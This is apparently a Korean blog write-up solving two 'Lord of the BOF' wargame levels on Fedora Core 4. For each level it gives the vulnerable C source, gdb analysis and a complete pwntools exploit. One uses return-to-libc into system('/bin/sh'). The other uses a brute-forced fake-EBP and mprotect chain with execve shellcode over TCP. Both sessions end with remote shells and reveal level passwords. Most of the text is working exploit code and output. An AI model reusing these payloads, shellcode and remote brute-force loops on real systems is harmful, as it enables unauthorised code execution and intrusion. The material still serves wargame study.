반응형
반응형
반응형

ID | enigma

PW | let me ride




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
/*
        The Lord of the BOF : The Fellowship of the BOF
        - titan
        - Remote BOF on Fedora Core 4
        - hint : ? 
    - port : TCP 8888
*/
 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
 
static char buffer[40];
static void (*ftn)();
 
void print()
{
        printf("nothing here\n");
    fflush(stdout);
}
 
int main()
{
        char buf[48];
        ftn = print;
 
        printf("titan : What a tragic mistake.\n");
        printf("you : ");
        fflush(stdout);
 
    // give me a food
        fgets(buf,48,stdin);
 
    // buffer overflow!!
        strcpy(buffer,buf);
 
    // preventing RTL
        if(((int)ftn & 0xff000000== 0)
        {
                printf("I've an allergy to NULL");
                exit(1);
        }
 
    // clearing buffer
    memset(buffer, 040);
 
        ftn();
}
 
cs



fgets로 null 포함 48바이트를 입력받아 strcpy로 buffer[40]에 덮는데, 이 때 ftn도 덮을 수 있어서 ftn을 조작할 수 있다.



esp를 증가시켜서 fgets의 ret주소를 조작해야한다.


(gdb) b *main+108

Breakpoint 1 at 0x8048561

(gdb) r

Starting program: /home/enigma/titan 

Reading symbols from shared object read from target memory...(no debugging symbols found)...done.

Loaded system supplied DSO at 0x612000

(no debugging symbols found)

(no debugging symbols found)

titan : What a tragic mistake.

you : AAAA


Breakpoint 1, 0x08048561 in main ()

(gdb) i r eax

eax            0xbf991764 -1080486044

(gdb) i r esp

esp            0xbf991740 0xbf991740

(gdb) p 0x64-0x40

$1 = 36


buf와 esp차이는 36바이트


fgets의 ret은 buf-40


0x0804854a <main+85>: add    esp,0x10

0x0804854d <main+88>: mov    eax,ds:0x80497e4

0x08048552 <main+93>: sub    esp,0x4

0x08048555 <main+96>: push   eax

0x08048556 <main+97>: push   0x30

0x08048558 <main+99>: lea    eax,[ebp-52]

0x0804855b <main+102>: push   eax

0x0804855c <main+103>: call   0x80483c8


fgets를 call하기전, esp는 최종적으로 0xc만큼 증가한다.


fnt를 *main+85로 덮으면 esp를 12바이트씩 증가할 수 있으니


buf-40 -> -28 > -16 -> -4 -> buf+8



esp를 4번 증가시켜주고, 다음 페이로드에 dummy[8] + system[4] + dummy[4] + binsh[4] 를 담아 보내면 된다.



(gdb) p system
$2 = {<text variable, no debug info>} 0x7db0e7 <system>


"/bin/sh\x00" 찾기

1
2
3
4
5
6
7
8
9
10
#include "stdio.h"
#include "string.h"
 
int main(void){
 
        long shell = 0x7db0e7;  // <=== system()함수의 주소
        while(memcmp((void*)shell,"/bin/sh\x00",8)) shell++;
        printf("\"bin/sh\" is at 0x%lx\n", shell);
}
 
cs


[enigma@Fedora_2ndFloor ~]$ vi find.c

[enigma@Fedora_2ndFloor ~]$ gcc -o find find.c 

[enigma@Fedora_2ndFloor ~]$ ./find 

"bin/sh" is at 0x8bd987


ex.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
 
= remote("192.168.0.205"8888)
 
system = 0x7db0e7
binsh = 0x8bd987
 
payload = ('A' * 40 + p32(0x804854a+"\n"* 4
payload += "A" * 8
 
payload += p32(system)
payload += "AAAA"
payload += p32(binsh)
 
print(p.recvuntil("u :"))
print(payload)
p.send(payload)
 
p.interactive()
 
cs


mandu@mandu-VirtualBox:~/ex_pwn$ python ex.py 

[+] Opening connection to 192.168.0.205 on port 8888: Done

titan : What a tragic mistake.

you :

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJ\x85\x0

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJ\x85\x0

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJ\x85\x0

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJ\x85\x0

AAAAAAAA��}\x00AAAA\x87ً\x00

[*] Switching to interactive mode

 $ 

$ my-pass

euid = 503

out of the night


반응형
반응형

ID | cruel

PW | come on, come over




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
/*
        The Lord of the BOF : The Fellowship of the BOF
        - enigma
        - Remote BOF on Fedora Core 4
        - hint : ? 
    - port : TCP 7777
*/
 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
 
int vuln(int canary,char *ptr)
{
        char buffer[256];
        int *ret;
        
    // stack overflow!!
    strcpy(buffer,ptr); 
 
    // overflow protected
        if(canary != 0x31337)
        {
                printf("who broke my canary?!");
                exit(1);
        }
 
        // preventing RTL
        ret = &canary - 1;
        if((*ret & 0xff000000== 0
        {
                printf("I've an allergy to NULL");
                exit(1);
        }
 
    // clearing attack buffer
    memset(ptr, 01024);
 
        return 0;
}
 
int main()
{
    char buffer[1024];
 
    printf("enigma : The brothers will be glad to have you!\n");
    printf("you : ");
    fflush(stdout);
 
    // give me a food!
        fgets(buffer, 1024, stdin);
 
    // oops~!
        vuln(0x31337, buffer);
    
    // bye bye
    exit(0);
}

cs


가젯이 없어서 rop가 안되므로 다른 방법을 찾았다.


fgets 의 임시버퍼 stdin을 활용한다.


payload =

buffer[260] (nop + shellcode) + fakeebp[stdin+268] + leaveret + canary + mprotect + stdin + stdin + 1024 + 7


fakeebp를 통해 stdin에서의 canary 시작부분이 esp가 되고 leaveret으로 leave canary / ret mprotect


mprotect 함수로 stdin 1024만큼 RWX 권한을 부여. 여기에 사용되는 주소가 0x?????000 이어야 하는데 확인해보면 이 조건을 만족한다.


그다음 stdin으로 점프, nop sled 후에 쉘코드 실행.


stdin의 주소는 랜덤이기 때문에 brute force로 쉘을 따야 한다.


쉘코드는 25바이트 쉘코드를 사용했다.



0x0804858e <vuln+142>: leave  

0x0804858f <vuln+143>: ret   


leaveret = 0x0804858e



stdin 주소 구하기


0x080485e0 <main+80>: mov    eax,ds:0x804985c

0x080485e5 <main+85>: sub    esp,0x4

0x080485e8 <main+88>: push   eax

0x080485e9 <main+89>: push   0x400

0x080485ee <main+94>: lea    eax,[ebp-1024]

0x080485f4 <main+100>: push   eax

0x080485f5 <main+101>: call   0x80483ec


(gdb) b *main+106
Breakpoint 1 at 0x80485fa
(gdb) r
Starting program: /home/cruel/enigma 
Reading symbols from shared object read from target memory...(no debugging symbols found)...done.
Loaded system supplied DSO at 0xa36000
(no debugging symbols found)
(no debugging symbols found)
enigma : The brothers will be glad to have you!
you : AAAA                           

Breakpoint 1, 0x080485fa in main ()
(gdb) x/x 0x804985c
0x804985c <stdin@@GLIBC_2.0>: 0x008cb740
(gdb) x/10x 0x8cb740
0x8cb740 <_IO_2_1_stdin_>: 0xfbad2288 0xb7fe1005 0xb7fe1005 0xb7fe1000
0x8cb750 <_IO_2_1_stdin_+16>: 0xb7fe1000 0xb7fe1000 0xb7fe1000 0xb7fe1000
0x8cb760 <_IO_2_1_stdin_+32>: 0xb7fe1400 0x00000000
(gdb) x/10x 0xb7fe1000
0xb7fe1000: 0x41414141 0x0000000a 0x00000000 0x00000000 #AAAA
0xb7fe1010: 0x00000000 0x00000000 0x00000000 0x00000000
0xb7fe1020: 0x00000000 0x00000000

stdin = 0xb7fe1000



(gdb) p mprotect

$1 = {<text variable, no debug info>} 0x86d240 <mprotect>


mprotect = 0x86d240



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#fc4 got_overwrite
from pwn import *
 
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
 
 
leaveret = 0x0804858e
canary = 0x31337
 
mprotect = 0x86d240
stdin = 0xb7fe1000
 
payload = "\x90" * (260-len(shellcode))
payload += shellcode
 
payload += p32(stdin+268#fakeebp
payload += p32(leaveret)
payload += p32(canary)
 
payload += p32(mprotect)
payload += p32(stdin)
payload += p32(stdin)
payload += p32(1024)
payload += p32(7)
 
print(payload)
 
i=1
while True:
    print i
    i += 1
 
    p = remote("192.168.0.205"7777)
 
    p.recv(1024)
    p.sendline(payload)
    time.sleep(0.1)
 
    p.sendline('whoami')
    try:
        if 'enigma' in p.recv(1024):
            print '[+]Success!!!'
            p.interactive()
            break
        else:
            p.close()
            continue
    except:
        p.close()
        continue
 
cs


108

[+] Opening connection to 192.168.0.205 on port 7777: Done

[+]Success!!!

[*] Switching to interactive mode

$ my-pass

euid = 502

let me ride

$  


처음에 500번을 시도해도 쉘이 안따졌는데, 그 이유가 쉘을 땄는지 판별하는 코드 부분의 문제였다.

그 부분을 수정하고나서 쉘이 108번만에 따졌다.

반응형

+ Recent posts